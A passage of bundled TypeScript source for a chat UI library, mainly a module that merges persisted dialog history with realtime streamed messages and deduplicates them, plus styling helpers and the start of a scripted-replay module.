activeStateRef.current.approveRequest(requestId),\n    [],\n  )\n  const rejectRequest = useCallback(\n    (requestId: string, reason?: string) =>\n      activeStateRef.current.rejectRequest(requestId, reason),\n    [],\n  )\n\n  return useMemo<UnifiedChatState>(\n    () => ({\n      messages: activeState.messages,\n      isLoading: activeState.isLoading,\n      streamingPhase: activeState.streamingPhase,\n      sendMessage,\n      stopMessage,\n      clearMessages,\n      discussRef,\n      displayRef,\n      currentProvider: activeState.currentProvider,\n      currentModelLabel: activeState.currentModelLabel,\n      currentContextWindowMaxTokens: activeState.currentContextWindowMaxTokens,\n      currentInputTokens: activeState.currentInputTokens,\n      currentOutputTokens: activeState.currentOutputTokens,\n      currentCacheHitRatePct: activeState.currentCacheHitRatePct,\n      currentUsageBreakdown: activeState.currentUsageBreakdown,\n      // Dialog management (forwarded from active adapter)\n      dialogs: activeState.dialogs,\n      activeDialogId: activeState.activeDialogId,\n      selectDialog,\n      startNewDialog,\n      deleteDialog,\n      renameDialog,\n      archiveDialog,\n      isDialogsLoading: activeState.isDialogsLoading,\n      dialogsError: activeState.dialogsError,\n      reloadDialogs,\n      isMessagesLoading: activeState.isMessagesLoading,\n      hasMoreDialogs: activeState.hasMoreDialogs,\n      loadMoreDialogs,\n      // Scope only surfaces when the active adapter exposes it — the forward\n      // is unconditionally stable, gating happens on `dialogScope` itself.\n      dialogScope: activeState.dialogScope,\n      setDialogScope,\n      hasMoreMessages: activeState.hasMoreMessages,\n      loadMoreMessages,\n      // Approvals\n      approveRequest,\n      rejectRequest,\n      // Token usage + connection\n      dialogTokenUsage: activeState.dialogTokenUsage,\n      connectionState: activeState.connectionState,\n    }),\n    [\n      activeState,\n      sendMessage,\n      stopMessage,\n      clearMessages,\n      discussRef,\n      displayRef,\n      selectDialog,\n      startNewDialog,\n      deleteDialog,\n      renameDialog,\n      archiveDialog,\n      loadMoreDialogs,\n      setDialogScope,\n      reloadDialogs,\n      loadMoreMessages,\n      approveRequest,\n      rejectRequest,\n    ],\n  )\n}\n","import type {\n  ApprovalBatchSegment,\n  ApprovalRequestSegment,\n  EscalationOfferSegment,\n  MessageContent,\n  ToolExecutionSegment,\n} from '../types'\n\n/**\n * Reconciliation between persisted dialog history (processed GraphQL pages)\n * and the realtime messages a chat client accumulated from streaming chunks.\n *\n * This is the missing middle piece of the chat pipeline this lib already\n * owns: `processHistoricalMessages*` produces one stream, the realtime chunk\n * processor / segment accumulator produces the other, and every host (Mingo,\n * tickets, openframe-chat) needs to merge them whenever history is (re)fetched.\n * Hand-rolled versions of this merge have produced both duplicated turns\n * (synthetic kept alongside its persisted twin) and lost turns (synthetic\n * trimmed against a stale snapshot that didn't contain its persisted twin\n * yet) — the freshness rule below is the invariant that prevents both.\n *\n * Pure on purpose: the host owns WHEN to merge (react-query wiring, store\n * writes), this module owns HOW.\n */\n\n/** Minimal structural shape the merge needs — hosts pass their own message\n *  type and get it back. */\nexport interface MergeableChatMessage {\n  id: string\n  role: string\n  content: MessageContent\n  timestamp?: Date\n  /** Highest CONTENT chunk streamSeq that composed this message (text / tool /\n   *  approval / error / compaction — never the non-persisted MESSAGE_END /\n   *  TOKEN_USAGE control chunks). Hosts stamp it on realtime synthetics so the\n   *  merge can decide coverage per-message: a synthetic is in history once a\n   *  persisted row of the SAME role reaches its seq. (Regular `user-`\n   *  MESSAGE_REQUEST synthetics are the exception — the backend persists their\n   *  rows without a seq, so they are deduped by content, not seq; see the merge.)\n   *\n   *  Stamp it on HISTORY rows too (from the persisted `lastChunkStreamSeq`)\n   *  when available: the merge then computes a PER-ROLE max from history and a\n   *  synthetic is \"covered\" only when a persisted row of its own role actually\n   *  reached its seq. Without per-row history seqs the merge falls back to the\n   *  single global `historyMaxStreamSeq`, which a later/other-role row can push\n   *  past a synthetic whose turn is NOT in the snapshot (interrupted /\n   *  async-persisted) — dropping a message the user saw with no replay to\n   *  restore it. Optional — absent on hosts that don't stamp it (those keep the\n   *  global-seq / wall-clock behaviour). */\n  streamSeq?: number\n}\n\n/** Ids minted client-side by realtime chunk processors\n *  (`assistant-<ts>-…` placeholder bubbles, `user-<ts>-…` peer messages,\n *  `direct-<ts>-…` technician direct messages, `system-<ts>-…` system notices,\n *  `error-<ts>` stream errors). They never match the Mongo ObjectIds history\n *  returns for the same turns. This is the cross-host contract every minting\n *  site (lib `use-chat`, Mingo / tickets chunk processors, openframe-chat)\n *  must keep matching — exported so it lives in exactly one place.\n *  `direct-`/`system-` are persisted (as ADMIN/SYSTEM history rows) and so are\n *  replayed by JetStream on reconnect; without them here a replayed direct\n *  message renders twice (its persisted twin + the fresh synthetic).\n *  `welcome-` and `optimistic-` ids are intentionally NOT listed: welcome\n *  bubbles are never persisted server-side, and optimistic user messages are\n *  deduped by content below. */\nexport const SYNTHETIC_REALTIME_ID_PREFIXES = ['assistant-', 'user-', 'direct-', 'system-', 'error-'] as const\n\nfunction isSyntheticRealtimeId(id: string): boolean {\n  return SYNTHETIC_REALTIME_ID_PREFIXES.some((prefix) => id.startsWith(prefix))\n}\n\n/** Rendered answer text of an assistant message (TEXT segments, or a plain string). Used to\n *  recognise a replayed synthetic as the twin of an already-persisted turn when the stream-seq\n *  signal can't prove it (see the trailing-turn fallback below). Empty for tool/approval-only\n *  turns that carry no answer text — callers must treat \"\" as \"no signal\", never as a match. */\nfunction assistantAnswerText(content: MessageContent): string {\n  if (typeof content === 'string') return content.trim()\n  if (!Array.isArray(content)) return ''\n  const parts: string[] = []\n  for (const seg of content) {\n    if (seg.type === 'text') parts.push(seg.text)\n  }\n  return parts.join('\\n').trim()\n}\n\n/**\n * Backend request ids carried by a turn's segments — tool-call ids, approval\n * request ids, batch ids.\n *\n * These identify the TURN, which is what lets the merge recognise history's\n * persisted row and a live synthetic as two copies of the same thing when\n * their IDS DIFFER. Ids only converge through adoption, and adoption only\n * happens on a replay (a reload re-streams the turn into the persisted row);\n * a refetch that lands mid-stream has no replay, so the live copy keeps the\n * synthetic id the reducer minted.\n *\n * Empty for a turn that has produced only text — callers must treat an empty\n * set as \"no signal\", never as a match.\n */\nfunction turnRequestKeys(content: MessageContent): Set<string> {\n  const keys = new Set<string>()\n  if (!Array.isArray(content)) return keys\n  for (const seg of content) {\n    if (seg.type === 'tool_execution') {\n      const id = (seg as ToolExecutionSegment).data?.toolExecutionRequestId\n      if (id) keys.add(id)\n    } else if (seg.type === 'approval_request') {\n      const id = (seg as ApprovalRequestSegment).data?.requestId\n      if (id) keys.add(id)\n    } else if (seg.type === 'escalation_offer') {\n      const id = (seg as EscalationOfferSegment).data?.offerId\n      if (id) keys.add(id)\n      // `ticket_escalated` is deliberately absent: its only id is the ticketId,\n      // which is dialog-scoped, so a re-escalated dialog would false-match an\n      // older bubble and slice the newest persisted turn out of the thread.\n    } else if (seg.type === 'approval_batch') {\n      const data = (seg as ApprovalBatchSegment).data\n      if (data?.approvalRequestId) keys.add(data.approvalRequestId)\n      for (const call of data?.toolCalls ?? []) {\n        if (call?.toolExecutionRequestId) keys.add(call.toolExecutionRequestId)\n      }\n    }\n  }\n  return keys\n}\n\n/** Whether `content` carries any of `keys` — see `turnRequestKeys`. */\nfunction sharesRequestKey(content: MessageContent, keys: ReadonlySet<string>): boolean {\n  if (keys.size === 0) return false\n  for (const key of turnRequestKeys(content)) {\n    if (keys.has(key)) return true\n  }\n  return false\n}\n\n/** Flattens DESC-sorted message pages (newest page first, newest message\n *  first within a page) into one chronological list. */\nexport function flattenMessagePagesChronological<T>(pages: readonly { messages: readonly T[] }[] | undefined): T[] {\n  if (!pages) return []\n  return [...pages].reverse().flatMap((page) => [...page.messages].reverse())\n}\n\n/** Max `lastChunkStreamSeq` across history pages — the history half of the\n *  merge's seq-coverage signal (`HistoryMergeInput.historyMaxStreamSeq`),\n *  also used by hosts as the JetStream replay start offset. 0 = unstamped. */\nexport function maxPersistedStreamSeq(\n  pages: readonly { messages: readonly { lastChunkStreamSeq?: number | null }[] }[] | undefined,\n): number {\n  let max = 0\n  if (!pages) return max\n  for (const page of pages) {\n    for (const msg of page.messages) {\n      const seq = msg.lastChunkStreamSeq\n      if (typeof seq === 'number' && seq > max) max = seq\n    }\n  }\n  return max\n}\n\nexport interface HistoryMergeInput<M extends MergeableChatMessage> {\n  /** Processed history in chronological order (all fetched pages). */\n  processedHistory: M[]\n  /** Raw history message ids across all fetched pages, when they can differ\n   *  from processed ids (processing may merge/rename). Optional — pass when\n   *  available so raw-id duplicates are filtered too. */\n  rawHistoryIds?: ReadonlySet<string>\n  /** Messages currently in the host store for this dialog (realtime + prior merges). */\n  existingMessages: M[]\n  /** Id of the in-flight streaming synthetic, if any. Never dropped.\n   *  IMPORTANT: hosts must not pass a STALE id here (e.g. a streaming entry\n   *  left behind by unmounting mid-stream) — gate it on the server-side\n   *  stream state when available, or the synthetic will be exempted forever. */\n  streamingMessageId: string | null\n  /** Epoch ms when the history pages were fetched (react-query `dataUpdatedAt`).\n   *  Wall-clock freshness fallback used when seq coverage (below) is unknown:\n   *  a synthetic created AFTER this instant cannot be represented in the\n   *  snapshot, so it must be kept. NOTE this heuristic is blind to chunk\n   *  REPLAY, which re-mints synthetics for old turns with fresh timestamps —\n   *  pass the seq fields whenever the host tracks them. */\n  historyFetchedAt: number\n  /** Max `lastChunkStreamSeq` across the raw history pages, when the backend\n   *  stamps it (see `maxPersistedStreamSeq`). Together with\n   *  `realtimeSeenStreamSeq` this gives an exact coverage signal that\n   *  replaces the wall-clock heuristic. */\n  historyMaxStreamSeq?: number\n  /** Highest stream seq this client has consumed for the dialog (live or\n   *  replayed chunks). */\n  realtimeSeenStreamSeq?: number\n}\n\nexport function mergeHistoryWithRealtime<M extends MergeableChatMessage>(input: HistoryMergeInput<M>): M[] {\n  const {\n    processedHistory,\n    rawHistoryIds,\n    existingMessages,\n    streamingMessageId,\n    historyFetchedAt,\n    historyMaxStreamSeq = 0,\n    realtimeSeenStreamSeq = 0,\n  } = input\n\n  // An empty snapshot can't dedupe anything — merging would only let the\n  // freshness rules below wipe completed realtime messages (e.g. persistence\n  // lag on a fresh dialog). The realtime side stays the source of truth.\n  if (processedHistory.length === 0) return existingMessages\n\n  const processedIds = new Set(processedHistory.map((m) => m.id))\n\n  // Seq-based coverage: every synthetic is derived from consumed chunks, so\n  // when history's max persisted seq reaches the highest seq this client has\n  // consumed, ALL synthetics are represented in history (drop them); when it\n  // hasn't, history is provably behind (keep them ALL — even ones that look\n  // old by wall-clock, e.g. re-minted by a chunk replay). `null` = signal\n  // unavailable (legacy transport / backend without seq stamps) → fall back\n  // to the per-message wall-clock rule.\n  const seqCoverageKnown = realtimeSeenStreamSeq > 0 && historyMaxStreamSeq > 0\n  const historyCoversRealtime = seqCoverageKnown ? historyMaxStreamSeq >= realtimeSeenStreamSeq : null\n\n  // Per-role max persisted streamSeq, computed from history rows that carry a\n  // per-row `streamSeq` (hosts stamp it from `lastChunkStreamSeq`). The single\n  // global `historyMaxStreamSeq` is a MAX over ALL rows, so a later turn or an\n  // other-role row (e.g. a user MESSAGE_REQUEST) can push it past a synthetic\n  // whose OWN turn is not in the snapshot yet — the merge then \"covers\" and\n  // drops that synthetic with no twin to replace it (permanent loss on stop /\n  // reload / any recompute). Deciding coverage against the same-role max\n  // instead means a synthetic is dropped only when a persisted row of its role\n  // actually reached its seq. `anyHistoryRowSeq` gates the whole scheme: when\n  // no history row is seq-stamped (legacy hosts) we keep the previous global\n  // behaviour unchanged.\n  const historyMaxSeqByRole = new Map<string, number>()\n  let anyHistoryRowSeq = false\n  for (const pm of processedHistory) {\n    if (typeof pm.streamSeq === 'number') {\n      anyHistoryRowSeq = true\n      const prev = historyMaxSeqByRole.get(pm.role) ?? 0\n      if (pm.streamSeq > prev) historyMaxSeqByRole.set(pm.role, pm.streamSeq)\n    }\n  }\n\n  // Persistence is asynchronous per-chunk: an assistant turn ending in an\n  // approval can have its APPROVAL_REQUEST document persisted before the\n  // leading THINKING/TEXT documents, so history can return a partial trailing\n  // assistant (just `[approval_batch]`) while the realtime store already has\n  // the full `[thinking, text, approval_batch]` synthetic. Resolve by\n  // `approval_batch.approvalRequestId`:\n  //   - if the existing twin is the LIVE streaming message, or has more\n  //     segments — drop the history assistant and pin the twin (realtime is\n  //     the more complete / still-growing copy).\n  //   - else (history is at least as complete) — drop the twin.\n  const trailing = processedHistory[processedHistory.length - 1]\n  const historyTrailingAssistant = trailing?.role === 'assistant' ? trailing : null\n  const historyBatchId =\n    historyTrailingAssistant && Array.isArray(historyTrailingAssistant.content)\n      ? ((historyTrailingAssistant.content.find((s) => s.type === 'approval_batch') as ApprovalBatchSegment | undefined)\n          ?.data?.approvalRequestId ?? null)\n      : null\n\n  let processedToUse = processedHistory\n  const pinnedSyntheticIds = new Set<string>()\n  const droppedSyntheticIds = new Set<string>()\n\n  if (historyBatchId) {\n    const batchTwins = existingMessages.filter(\n      (m) =>\n        m.role === 'assistant' &&\n        Array.isArray(m.content) &&\n        m.content.some(\n          (s) => s.type === 'approval_batch' && (s as ApprovalBatchSegment).data?.approvalRequestId === historyBatchId,\n        ),\n    )\n    // Prefer the live streaming twin; otherwise the most recent one (a stale\n    // replay-minted duplicate may precede it).\n    const existingWithSameBatch = batchTwins.find((m) => m.id === streamingMessageId) ?? batchTwins[batchTwins.length - 1]\n    if (existingWithSameBatch && Array.isArray(existingWithSameBatch.content)) {\n      const histSize = Array.isArray(historyTrailingAssistant?.content) ? historyTrailingAssistant.content.length : 0\n      const realtimeSize = existingWithSameBatch.content.length\n      if (existingWithSameBatch.id === streamingMessageId || realtimeSize > histSize) {\n        processedToUse = processedHistory.slice(0, -1)\n        pinnedSyntheticIds.add(existingWithSameBatch.id)\n      } else {\n        droppedSyntheticIds.add(existingWithSameBatch.id)\n      }\n    }\n  }\n\n  // Adoption pin, generalised to plain tool turns (no approval batch). After a\n  // mid-stream reload the trailing assistant is a PERSISTED row (Mongo id); the\n  // chunk processors ADOPT it and append later chunks IN PLACE, so the store's\n  // copy keeps that Mongo id but accumulates MORE than history has persisted yet\n  // (a later tool, a tool's terminal state). `processedIds` would then drop that\n  // richer realtime copy as an id-duplicate and revert the bubble to history's\n  // stale segments — the reported \"3 tools collapse to 2, one stuck pending\n  // instead of failed\" after reload + stop. When a same-id realtime twin is\n  // strictly richer than the persisted trailing (more segments, or an equal\n  // count but a higher consumed `streamSeq`), pin it and drop history's copy —\n  // the same rule the approval-batch branch above applies, for any trailing\n  // assistant. Skipped when that branch already claimed the trailing turn (its\n  // slice moved the last element) or the trailing isn't an assistant. Once the\n  // backend finishes persisting the turn, history's length/seq catch up, the\n  // twin is no longer richer, and the persisted copy wins again (self-heals).\n  if (\n    historyTrailingAssistant &&\n    Array.isArray(historyTrailingAssistant.content) &&\n    processedToUse[processedToUse.length - 1] === historyTrailingAssistant &&\n    !pinnedSyntheticIds.has(historyTrailingAssistant.id)\n  ) {\n    const persistedSize = historyTrailingAssistant.content.length\n    const persistedSeq = historyTrailingAssistant.streamSeq ?? 0\n    // Turn identity for a twin that has NOT adopted the persisted id. Adoption\n    // only happens on a REPLAY (a reload re-streams the turn from its\n    // MESSAGE_START into the persisted row); a refetch that lands while the\n    // turn is still streaming has no replay, so the live copy keeps the\n    // synthetic id the reducer minted and the id test above can never match.\n    // Both copies do carry the backend's per-call request ids, which identify\n    // the TURN — the same trick the approval-batch branch plays with\n    // `approvalRequestId`, widened to tool calls.\n    const trailingKeys = turnRequestKeys(historyTrailingAssistant.content)\n    const isSameTurn = (m: M): boolean =>\n      m.id === historyTrailingAssistant.id ||\n      (trailingKeys.size > 0 && sharesRequestKey(m.content, trailingKeys))\n    const richerTwin = existingMessages.find(\n      (m) =>\n        m !== historyTrailingAssistant &&\n        m.role === 'assistant' &&\n        Array.isArray(m.content) &&\n        isSameTurn(m) &&\n        // A STILL-STREAMING twin wins outright: it is the copy the chunks are\n        // landing in, so \"richer\" is a property it is about to have anyway,\n        // and history's snapshot of a turn in flight is stale by construction.\n        // Without this the same turn rendered TWICE — history's partial copy\n        // beside the live one, their tool rows disagreeing (one pending, one\n        // failed) because each stopped at a different chunk.\n        (m.id === streamingMessageId ||\n          m.content.length > persistedSize ||\n          (m.content.length === persistedSize && typeof m.streamSeq === 'number' && m.streamSeq > persistedSeq)),\n    )\n    if (richerTwin) {\n      processedToUse = processedToUse.slice(0, -1)\n      pinnedSyntheticIds.add(richerTwin.id)\n    }\n  }\n\n  // Content-equality fallback for the trailing turn. The backend stamps `lastChunkStreamSeq`\n  // asynchronously, so a just-finished assistant can land in history with a seq BELOW the replay's\n  // terminal chunk seq; seq coverage then reads \"not covered\" and the replayed synthetic survives\n  // next to its persisted twin. Recognise the twin by its rendered answer text.\n  const lastProcessed = processedToUse[processedToUse.length - 1]\n  const trailingAssistantText =\n    lastProcessed && lastProcessed.role === 'assistant' ? assistantAnswerText(lastProcessed.content) : ''\n\n  // Positional content multiset for `user-` synthetic dedup. The backend\n  // persists user MESSAGE_REQUEST rows WITHOUT a `lastChunkStreamSeq`, so a\n  // replayed/echoed `user-` synthetic can be covered by neither seq (its twin\n  // adds 0 to every seq max) nor wall-clock (replay re-mints a fresh\n  // timestamp). Match it by TEXT against persisted user rows, positionally: the\n  // k-th `user-` synthetic with a text is the twin of the k-th persisted user\n  // row with that text. This drops a replay/echo once its own row is in the\n  // snapshot (kills the client→viewer duplicate, trailing twin or not) while\n  // keeping a LATER same-text turn whose row hasn't persisted yet — which the\n  // old first-match `findIndex` dropped, losing a repeated message.\n  const persistedUserContentCounts = new Map<string, number>()\n  for (const pm of processedToUse) {\n    if (pm.role === 'user' && typeof pm.content === 'string') {\n      persistedUserContentCounts.set(pm.content, (persistedUserContentCounts.get(pm.content) ?? 0) + 1)\n    }\n  }\n  const seenUserSyntheticByContent = new Map<string, number>()\n\n  const realtimeMessages = existingMessages.filter((m) => {\n    // Pin wins over everything: the twin may carry a persisted Mongo id (the\n    // chunk processors ADOPT an in-progress trailing assistant after a prior\n    // merge), in which case `processedIds`/`rawHistoryIds` would drop it even\n    // though the pin branch above already removed history's copy — vanishing\n    // the whole turn.\n    if (pinnedSyntheticIds.has(m.id)) return true\n    if (droppedSyntheticIds.has(m.id)) return false\n    if (processedIds.has(m.id)) return false\n    if (rawHistoryIds?.has(m.id)) return false\n    if (m.role === 'user' && m.id.startsWith('optimistic-') && typeof m.content === 'string') {\n      // Content-dedup only when the message predates the snapshot — a\n      // just-sent message whose text repeats an earlier turn (\"yes\", \"ok\")\n      // must not vanish against stale history. Wall-clock, not seq coverage:\n      // optimistic messages are minted on send, never by chunk replay, so\n      // their timestamps are trustworthy.\n      const canBeInSnapshot = (m.timestamp?.getTime() ?? 0) <= historyFetchedAt\n      return !(canBeInSnapshot && processedToUse.some((pm) => pm.role === 'user' && pm.content === m.content))\n    }\n    // Freshness rule: a synthetic whose turn is represented in the snapshot\n    // (under its persisted Mongo id) must be dropped or the turn renders\n    // twice; one the snapshot cannot contain yet must be kept or a message\n    // the user already saw is lost, with no realtime replay to restore it\n    // (JetStream resumes after the highest seq this client has consumed).\n    // Decided PER-MESSAGE by its own content seq when stamped, else the global\n    // seq coverage, else wall-clock.\n    if (isSyntheticRealtimeId(m.id) && m.id !== streamingMessageId) {\n      // A non-streaming synthetic that re-renders the trailing persisted assistant verbatim is its\n      // twin no matter what the seq signal says — drop it (covers the persistence-lag gap).\n      if (m.role === 'assistant' && trailingAssistantText && assistantAnswerText(m.content) === trailingAssistantText) {\n        return false\n      }\n      // Regular user MESSAGE_REQUEST synthetics (`user-`): the backend persists\n      // the user row WITHOUT a `lastChunkStreamSeq` (unlike DIRECT/SYSTEM rows,\n      // which carry the chunk seq), so seq coverage can NEVER see them (the twin\n      // adds 0 to every seq max) and wall-clock can't either (replay re-mints a\n      // fresh timestamp). Dedup them purely by TEXT, matched positionally\n      // against persisted user rows (see `persistedUserContentCounts`): drop the\n      // synthetic once its own row is in the snapshot — trailing twin or not,\n      // killing the client→viewer duplicate — while keeping a later same-text\n      // turn whose row hasn't persisted yet. `direct-` / `system-` synthetics\n      // are ALSO role 'user' but DO carry a persisted seq, so the `user-` prefix\n      // gate lets them fall through to seq coverage below.\n      // NOTE: content matching is a workaround for the missing user-row\n      // `lastChunkStreamSeq`; the durable fix is the backend stamping it (as it\n      // already does for DIRECT/SYSTEM), which also stops the replay at the\n      // source via a correct `optStartSeq`.\n      if (m.role === 'user' && m.id.startsWith('user-') && typeof m.content === 'string') {\n        const seen = (seenUserSyntheticByContent.get(m.content) ?? 0) + 1\n        seenUserSyntheticByContent.set(m.content, seen)\n        // No persisted row for THIS occurrence slot → keep (nothing renders it).\n        if ((persistedUserContentCounts.get(m.content) ?? 0) < seen) return true\n        // A same-text persisted twin exists for this slot. User rows carry no\n        // persisted seq, so that twin may be THIS message's OWN row (drop — it\n        // renders the message) OR an OLDER identical-text turn while this is a\n        // NEW send repeating the text (keep — dropping it loses a message the\n        // user just sent: the reported \"message from the client chat disappears\"\n        // when the text repeats an earlier turn, e.g. sending \"continue\" again).\n        // Disambiguate with signals that DON'T need a user-row seq:\n        //   - seq watermark: if history persisted PAST this synthetic's\n        //     streamSeq, the stream reached this delivery point, so its own row\n        //     is in the snapshot → replay → drop.\n        //   - trailing twin: if the last history row is a same-text user row (no\n        //     reply yet), it's the just-sent message's own row → drop its echo.\n        //   - else history is BEHIND this fresh seq and the twin is an older\n        //     completed turn → NEW repeat → keep.\n        // No seq signal (legacy transport) → positional-only dedup (drop).\n        if (typeof m.streamSeq !== 'number' || historyMaxStreamSeq <= 0) return false\n        if (historyMaxStreamSeq >= m.streamSeq) return false\n        const lastPersisted = processedToUse[processedToUse.length - 1]\n        if (lastPersisted && lastPersisted.role === 'user' && lastPersisted.content === m.content) return false\n        return true\n      }\n      // Per-message seq coverage for the remaining synthetics (assistant /\n      // direct / system / error). The synthetic carries the highest CONTENT seq\n      // that built it (never the MESSAGE_END/TOKEN_USAGE tail), so history has\n      // it once a persisted row reaches that seq — exact per-turn: it drops an\n      // earlier finished turn while keeping a later still-streaming one, which\n      // the single global `realtimeSeenStreamSeq` (biased upward by the consumed\n      // tail) cannot distinguish.\n      //\n      // In the per-role regime (some history row is seq-stamped) decide ONLY\n      // against the SAME-ROLE persisted max and NEVER fall back to the global\n      // (cross-role) coverage: a role whose persisted rows reached no seq >=\n      // this one has no evidence the turn is in the snapshot, so it must be kept\n      // — letting an unrelated role's seq (a user MESSAGE_REQUEST that raised the\n      // global max, a later turn) cover it is exactly the reload/stop\n      // message-loss bug. Only when NO history row is seq-stamped (legacy hosts /\n      // unstamped history) do we use the global seq, then wall-clock.\n      let covered: boolean\n      if (typeof m.streamSeq === 'number' && anyHistoryRowSeq) {\n        const roleMax = historyMaxSeqByRole.get(m.role) ?? 0\n        covered = roleMax > 0 && roleMax >= m.streamSeq\n      } else if (typeof m.streamSeq === 'number') {\n        // This synthetic carries its own seq, but no history row does. Decide\n        // against the global when it exists — and when it does NOT\n        // (`historyMaxStreamSeq === 0`), that is not \"unknown, guess by clock\":\n        // it is positive evidence that nothing in the snapshot has reached any\n        // seq at all, so the snapshot cannot contain this turn. KEEP it.\n        //\n        // This is the mid-stream refetch: the only persisted row of a turn in\n        // flight is the user MESSAGE_REQUEST, which the backend does not stamp,\n        // so the max is 0 while live bubbles keep arriving. Falling through to\n        // wall-clock there judged every one of them \"older than the fetch\n        // instant, therefore persisted\" and dropped all but the single\n        // `streamingMessageId` — the thread collapsed to the user's prompt.\n        covered = historyMaxStreamSeq > 0 && historyMaxStreamSeq >= m.streamSeq\n      } else {\n        covered =\n          historyCoversRealtime !== null\n            ? historyCoversRealtime\n            : (m.timestamp?.getTime() ?? 0) <= historyFetchedAt\n      }\n      if (covered) return false\n    }\n    return true\n  })\n\n  return [...processedToUse, ...realtimeMessages]\n}\n\nexport interface HistoryPrependResult<M extends MergeableChatMessage> {\n  newMessages: M[]\n  boundaryMessageId?: string\n  boundaryUpdates?: { content: MessageContent }\n}\n\n/** Pagination path (an older page arrived via fetchNextPage): everything on\n *  screen stays; collect only the messages above the first already-known id,\n *  plus a content refresh for that boundary message if it changed. Returns\n *  null when there is nothing to apply. */\nexport function computeHistoryPrepend<M extends MergeableChatMessage>(\n  processedHistory: M[],\n  existingMessages: M[],\n): HistoryPrependResult<M> | null {\n  const existingIds = new Set(existingMessages.map((m) => m.id))\n  const newMessages: M[] = []\n  let boundaryMessageIndex = -1\n\n  for (let i = 0; i < processedHistory.length; i++) {\n    if (existingIds.has(processedHistory[i].id)) {\n      boundaryMessageIndex = i\n      break\n    }\n    newMessages.push(processedHistory[i])\n  }\n\n  let boundaryMessageId: string | undefined\n  let boundaryUpdates: { content: MessageContent } | undefined\n\n  if (boundaryMessageIndex >= 0) {\n    const boundaryMessage = processedHistory[boundaryMessageIndex]\n    const existingBoundary = existingMessages.find((m) => m.id === boundaryMessage.id)\n\n    if (existingBoundary) {\n      const existingContent = JSON.stringify(existingBoundary.content)\n      const newContent = JSON.stringify(boundaryMessage.content)\n\n      if (existingContent !== newContent) {\n        boundaryMessageId = boundaryMessage.id\n        boundaryUpdates = { content: boundaryMessage.content }\n      }\n    }\n  }\n\n  if (newMessages.length === 0 && !boundaryUpdates) return null\n  return { newMessages, boundaryMessageId, boundaryUpdates }\n}\n","/**\n * Single CSS string for chip-density action buttons (Recent / Search /\n * Find / Display, plus the inline Display popover's submit / cancel\n * buttons).\n *\n * Shared between the empty-state chip's action row and the\n * `<DisplayChipAction>` popover so both render with byte-equivalent\n * styling — no per-call ad-hoc Tailwind chain that drifts over time.\n *\n * Sizing intent: 11px font + tight `px-2 py-1` padding lands below UI-Kit\n * `Button size=\"small\"` (24-32px min-height). These are chip-density\n * action buttons, not standard buttons — they sit inside the empty-state\n * chip card's tertiary action row.\n */\nexport const CHIP_ACTION_BUTTON_CLASS =\n  'text-h6 text-ods-text-secondary hover:text-ods-text-primary ' +\n  'bg-transparent hover:bg-ods-card-hover border border-ods-border rounded-md ' +\n  'px-2 py-1 transition-colors focus-visible:outline-none focus-visible:ring-2 ' +\n  'focus-visible:ring-ods-focus'\n","/**\n * Shared className generator for the chat-adjacent UI family:\n *  - **Source chips** (citation list below an assistant turn)\n *  - **Inline entity-card pills** (within prose, marker-rendered)\n *  - **Search-result rows** (dropdown beneath the search input)\n *\n * Centralising the token here means a single ODS change propagates to\n * every surface — chip / card / dropdown row read as the same family.\n *\n * The `tone` arg controls the resting text color:\n *  - `secondary` — citation chips and tertiary metadata. Muted resting.\n *  - `primary`   — chips that ARE the subject of the sentence. Matches\n *    body text color so the chip reads as content, not metadata.\n *\n * The `density` arg controls size / padding:\n *  - `'chip'`     — inline pill (`px-2 py-0.5 text-[11px]`). Default;\n *    used by the citation row and inline entity-card markers.\n *  - `'list-row'` — wider, taller row (`px-3 py-2 text-sm`). Used by\n *    the search-bar dropdown. Same ODS family — same border, hover\n *    transition, accent treatment — just larger touch target.\n *  - `'card-row'` — for the tracking strip beneath a card frame\n *    (`px-2 py-1 text-[11px]` no border). Same family, no frame.\n */\nexport interface ChipClassOptions {\n  tone: 'primary' | 'secondary'\n  /** Visual density. Defaults to `'chip'`. */\n  density?: 'chip' | 'list-row' | 'card-row'\n  /** Extra classes appended verbatim (e.g. `cursor-pointer`). */\n  extra?: string\n}\n\nexport function chatChipClass({ tone, density = 'chip', extra }: ChipClassOptions): string {\n  const toneClass = tone === 'primary' ? 'text-ods-text-primary' : 'text-ods-text-secondary'\n  // Size / padding by density. All three share the same border + hover\n  // semantics so a chip and a search-row read as the same UI family.\n  const sizeClass = density === 'list-row'\n    ? 'px-3 py-2 text-sm gap-2'\n    : density === 'card-row'\n      ? 'px-2 py-1 text-h6 gap-1.5'\n      : 'px-2 py-0.5 text-h6 gap-1.5'\n  // `card-row` is the \"no-frame\" variant — no border, no card bg, so it\n  // sits cleanly under a card without visually wrapping it.\n  const frameClass = density === 'card-row'\n    ? ''\n    : 'bg-ods-card border border-ods-border rounded'\n  const base =\n    `inline-flex items-center ${sizeClass} ${frameClass} ` +\n    `${toneClass} ` +\n    'hover:text-ods-accent hover:border-ods-accent transition-colors align-baseline'\n  return extra ? `${base} ${extra}` : base\n}\n","/**\n * Scripted-conversation replay — turn a stored `HistoricalMessage[]` into ordered\n * \"mock SSE\" playback frames that animate a chat surface exactly like the live\n * NATS/SSE stream (a `thinking` pause → assistant text token-by-token → tool /\n * approval segments popping in → `idle`), just replayed from a script instead of\n * a network stream.\n *\n * Lives in the lib (not a host) so any consumer — marketing hero demos, docs,\n * onboarding tours — can drive a `previewMode` `EmbeddableChat` or a\n * `ChatMessageList` from a canned conversation without re-implementing the\n * streaming cadence. Pair with {@link useScriptedStream} (the playback clock).\n */\n\nimport type { HistoricalMessage, MessageData, StreamingPhase } from '../types'\n\n/** Normalize the single-or-array `messageData` to an array (empty when absent). */\nexport function normalizeHistoricalMessageData(md: HistoricalMessage['messageData']): MessageData[] {\n  return Array.isArray(md) ? md : md ? [md] : []\n}\n\n/** A message the user authored carries an `owner`; assistant turns have none —\n *  drives whether a turn streams (assistant) or lands at once (user). */\nexport function isHistoricalUserTurn(m: HistoricalMessage): boolean {\n  return !!m.owner\n}\n\nconst isTextSegment = (d: MessageData): d is MessageData & { type: 'TEXT'; text: string } =>\n  (d as { type?: string })?.type === 'TEXT' && typeof (d as { text?: unknown }).text === 'string'\n\n/** One rendered step of the mocked stream. */\nexport interface StreamFrame {\n  /** The partial message list to show at this step. */\n  messages: HistoricalMessage[]\n  phase: StreamingPhase\n  /** The chat \"typing\" indicator (up during the `thinking` pause). */\n  typing: boolean\n  /** Hold time (ms) before advancing to the next frame. */\n  delayMs: number\n}\n\n// Playback cadence. Assistant turns \"think\" then stream token-by-token; user\n// turns land at once. Tuned to read like a real chat without 